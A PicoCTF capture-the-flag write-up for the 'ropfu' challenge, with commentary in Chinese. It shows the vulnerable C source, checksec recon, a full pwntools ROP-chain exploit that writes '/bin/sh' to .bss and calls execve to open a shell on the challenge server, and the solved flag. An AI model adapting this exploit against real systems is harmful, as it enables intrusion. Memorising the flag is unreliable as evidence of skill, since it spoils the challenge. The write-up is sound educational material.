PicoCTF - ropfu
Background
ROP Chain x86 Calling Convention: Linux System Call Table
Source code
:::spoiler Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
:::
Recon
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=232215a502491a549a155b1a790de97f0c433482, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/ropfu/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
這一題很明顯要開個shell,我以為會像1[^0x12_rop++]這兩題一樣,事實上概念完全一樣,但換到x86的32bits版本就不知道為啥一直沒有成功,後來有想到是忽略了calling convention的問題,和x86-64的版本不一樣,另外指令的選擇上也不太一樣,像64bits的system call會用syscall,但x86會用int 0x80處理2,另外寫入/bin/sh\x00
的方式也和之前的不一樣,之前是call __libc_read function之前把暫存器的部分擺好,就直接跳到__libc_read的地方去,但在這邊是沒辦法成功的,看了其他人的wp3,大部分的做法都是直接用rop把值寫到對應的section中,詳細如下:
pop edx -> bss address
pop eax -> 0x6e69622f -> /bin
mov DWORD PTR [edx] eax
pop edx -> bss address
pop eax -> 0x0068732f -> /sh\x00
mov DWORD PTR [edx] eax
寫完/bin/sh\x00
就直接call execve的syscall開shell
Exploit - ROP Chain
from pwn import *
# r = process('./vuln')
r= remote('saturn.picoctf.net', 54107)
context.arch = 'amd64'
r.recvline()
pop_eax_ret = 0x80b073a
pop_edx_ebx_ret = 0x80583b9
bss_addr = 0x080e5050
mov_dword_ptr_edx_eax_ret = 0x80590f2
pop_ecx_ret = 0x8049e29
int_0x80 = 0x0807163f
'''############
Read /bin/sh\x00
############'''
# raw_input()
r.sendline(b'a' * 0x1c +
p32(pop_edx_ebx_ret) + p32(bss_addr) + p32(0) +
p32(pop_eax_ret) + p32(0x6e69622f) +
p32(mov_dword_ptr_edx_eax_ret) +
p32(pop_edx_ebx_ret) + p32(bss_addr + 4) + p32(0) +
p32(pop_eax_ret) + p32(0x0068732f) +
p32(mov_dword_ptr_edx_eax_ret) +
p32(pop_eax_ret) + p32(0xb) +
p32(pop_edx_ebx_ret) + p32(0) + p32(bss_addr) +
p32(pop_ecx_ret) + p32(0) +
p32(int_0x80)
)
r.interactive()
Flag: picoCTF{5n47ch_7h3_5h311_1b5a4b40}